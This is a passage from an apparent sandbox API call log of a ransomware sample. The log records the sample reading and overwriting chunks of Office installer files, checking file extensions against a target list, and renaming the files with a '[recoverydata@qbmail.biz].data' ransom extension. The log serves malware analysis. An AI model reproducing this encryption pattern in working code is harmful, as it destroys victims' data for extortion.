lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.718] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0094.718] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0094.718] ReadFile (in: hFile=0x1b4, lpBuffer=0x37f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37f0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0094.740] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0094.741] WriteFile (in: hFile=0x1b4, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0095.342] SetEndOfFile (hFile=0x1b4) returned 1 [0095.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3ef0058 [0095.477] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0095.477] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.479] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0095.479] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.480] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0095.480] WriteFile (in: hFile=0x1b4, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0095.483] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3ef0058 | out: hHeap=0x5b0000) returned 1 [0095.483] CloseHandle (hObject=0x1b4) returned 1 [0095.484] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0095.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.484] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.484] lstrlenW (lpString=".doc") returned 4 [0095.484] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0095.484] lstrlenW (lpString=".docx") returned 5 [0095.484] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0095.485] lstrlenW (lpString=".pdf") returned 4 [0095.485] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0095.485] lstrlenW (lpString=".xls") returned 4 [0095.485] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0095.485] lstrlenW (lpString=".xlsx") returned 5 [0095.485] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0095.485] lstrlenW (lpString=".ppt") returned 4 [0095.485] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0095.485] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.485] lstrlenW (lpString=".zip") returned 4 [0095.485] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0095.485] lstrlenW (lpString=".rar") returned 4 [0095.485] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0095.485] lstrlenW (lpString=".bz2") returned 4 [0095.485] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0095.485] lstrlenW (lpString=".7z") returned 3 [0095.485] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0095.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.486] lstrlenW (lpString=".dbf") returned 4 [0095.486] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0095.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.486] lstrlenW (lpString=".1cd") returned 4 [0095.486] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0095.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.486] lstrlenW (lpString=".jpg") returned 4 [0095.486] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0095.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.486] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.486] lstrlenW (lpString=".doc") returned 4 [0095.487] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0095.487] lstrlenW (lpString=".docx") returned 5 [0095.487] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0095.487] lstrlenW (lpString=".pdf") returned 4 [0095.487] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0095.487] lstrlenW (lpString=".xls") returned 4 [0095.487] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0095.487] lstrlenW (lpString=".xlsx") returned 5 [0095.487] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0095.487] lstrlenW (lpString=".ppt") returned 4 [0095.487] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0095.487] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.487] lstrlenW (lpString=".zip") returned 4 [0095.488] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0095.488] lstrlenW (lpString=".rar") returned 4 [0095.488] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0095.488] lstrlenW (lpString=".bz2") returned 4 [0095.488] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0095.488] lstrlenW (lpString=".7z") returned 3 [0095.488] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0095.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.488] lstrlenW (lpString=".dbf") returned 4 [0095.488] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0095.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.488] lstrlenW (lpString=".1cd") returned 4 [0095.488] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0095.488] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0095.489] lstrlenW (lpString=".jpg") returned 4 [0095.489] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0095.489] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0095.489] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0095.489] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0095.532] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2511872) returned 1 [0095.532] CloseHandle (hObject=0x1ac) returned 1 [0095.532] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0095.533] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.533] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0095.534] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0095.534] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0x0) returned 1 [0095.534] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.534] ReadFile (in: hFile=0x1ac, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.560] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.560] ReadFile (in: hFile=0x1ac, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.830] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0095.830] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0095.830] ReadFile (in: hFile=0x1ac, lpBuffer=0x37f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37f0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0095.856] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.857] WriteFile (in: hFile=0x1ac, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0096.286] SetEndOfFile (hFile=0x1ac) returned 1 [0096.287] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f00060 [0096.422] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.423] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.426] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.426] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.435] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x225400, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0096.436] WriteFile (in: hFile=0x1ac, lpBuffer=0x3f00060*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f00060*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0096.440] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f00060 | out: hHeap=0x5b0000) returned 1 [0096.440] CloseHandle (hObject=0x1ac) returned 1 [0096.440] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0096.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.441] lstrlenW (lpString=".doc") returned 4 [0096.441] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0096.441] lstrlenW (lpString=".docx") returned 5 [0096.441] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0096.441] lstrlenW (lpString=".pdf") returned 4 [0096.441] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0096.441] lstrlenW (lpString=".xls") returned 4 [0096.441] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0096.441] lstrlenW (lpString=".xlsx") returned 5 [0096.441] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0096.441] lstrlenW (lpString=".ppt") returned 4 [0096.441] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0096.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.441] lstrlenW (lpString=".zip") returned 4 [0096.441] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0096.441] lstrlenW (lpString=".rar") returned 4 [0096.441] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0096.441] lstrlenW (lpString=".bz2") returned 4 [0096.441] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0096.441] lstrlenW (lpString=".7z") returned 3 [0096.441] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0096.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.442] lstrlenW (lpString=".dbf") returned 4 [0096.442] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0096.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.442] lstrlenW (lpString=".1cd") returned 4 [0096.442] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0096.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.442] lstrlenW (lpString=".jpg") returned 4 [0096.442] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0096.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.442] lstrlenW (lpString=".doc") returned 4 [0096.442] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0096.442] lstrlenW (lpString=".docx") returned 5 [0096.442] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0096.442] lstrlenW (lpString=".pdf") returned 4 [0096.442] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0096.442] lstrlenW (lpString=".xls") returned 4 [0096.442] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0096.442] lstrlenW (lpString=".xlsx") returned 5 [0096.442] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0096.442] lstrlenW (lpString=".ppt") returned 4 [0096.442] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0096.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.442] lstrlenW (lpString=".zip") returned 4 [0096.443] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0096.443] lstrlenW (lpString=".rar") returned 4 [0096.443] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0096.443] lstrlenW (lpString=".bz2") returned 4 [0096.443] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0096.443] lstrlenW (lpString=".7z") returned 3 [0096.443] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0096.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.443] lstrlenW (lpString=".dbf") returned 4 [0096.443] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0096.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.443] lstrlenW (lpString=".1cd") returned 4 [0096.443] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0096.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0096.443] lstrlenW (lpString=".jpg") returned 4 [0096.443] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0096.443] lstrcmpiW (lpString1=".dll", lpString2=".data") returned 1 [0096.443] lstrlenW (lpString="dwintl20.dll") returned 12 [0096.444] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0096.444] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=107912) returned 1 [0096.445] CloseHandle (hObject=0x1ac) returned 1 [0096.445] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 0x2020 [0096.445] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.445] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0096.445] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.445] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.445] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0096.487] GetLastError () returned 0x0 [0096.487] ReadFile (in: hFile=0x1ac, lpBuffer=0x3770020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesRead=0x2dcfed4*=0x1a588, lpOverlapped=0x0) returned 1 [0096.507] WriteFile (in: hFile=0x1fc, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0x1a590, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1a590, lpOverlapped=0x0) returned 1 [0096.804] ReadFile (in: hFile=0x1ac, lpBuffer=0x3770020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.804] WriteFile (in: hFile=0x1fc, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.804] SetEndOfFile (hFile=0x1fc) returned 1 [0096.904] CloseHandle (hObject=0x1fc) returned 1 [0096.904] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.905] SetEndOfFile (hFile=0x1ac) returned 1 [0096.963] CloseHandle (hObject=0x1ac) returned 1 [0097.019] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0097.020] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll")) returned 1 [0097.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.020] lstrlenW (lpString=".doc") returned 4 [0097.021] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0097.021] lstrlenW (lpString=".docx") returned 5 [0097.021] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0097.021] lstrlenW (lpString=".pdf") returned 4 [0097.021] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0097.021] lstrlenW (lpString=".xls") returned 4 [0097.021] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0097.021] lstrlenW (lpString=".xlsx") returned 5 [0097.021] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0097.021] lstrlenW (lpString=".ppt") returned 4 [0097.021] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0097.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.022] lstrlenW (lpString=".zip") returned 4 [0097.022] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0097.022] lstrlenW (lpString=".rar") returned 4 [0097.022] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0097.022] lstrlenW (lpString=".bz2") returned 4 [0097.022] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0097.022] lstrlenW (lpString=".7z") returned 3 [0097.022] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0097.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.022] lstrlenW (lpString=".dbf") returned 4 [0097.022] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0097.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.023] lstrlenW (lpString=".1cd") returned 4 [0097.023] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0097.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.023] lstrlenW (lpString=".jpg") returned 4 [0097.023] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0097.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 80 [0097.023] lstrlenW (lpString=".doc") returned 4 [0097.023] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0097.023] lstrlenW (lpString=".docx") returned 5 [0097.024] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0097.024] lstrlenW (lpString=".pdf") returned 4 [0097.024] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0097.024] lstrlenW (lpString=".xls") returned 4 [0097.024] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0097.024] lstrlenW (lpString=".xlsx") returned 5 [0097.024] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0097.024] lstrlenW (lpString=".ppt") returned 4 [0097.024] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0097.025] lstrlenW 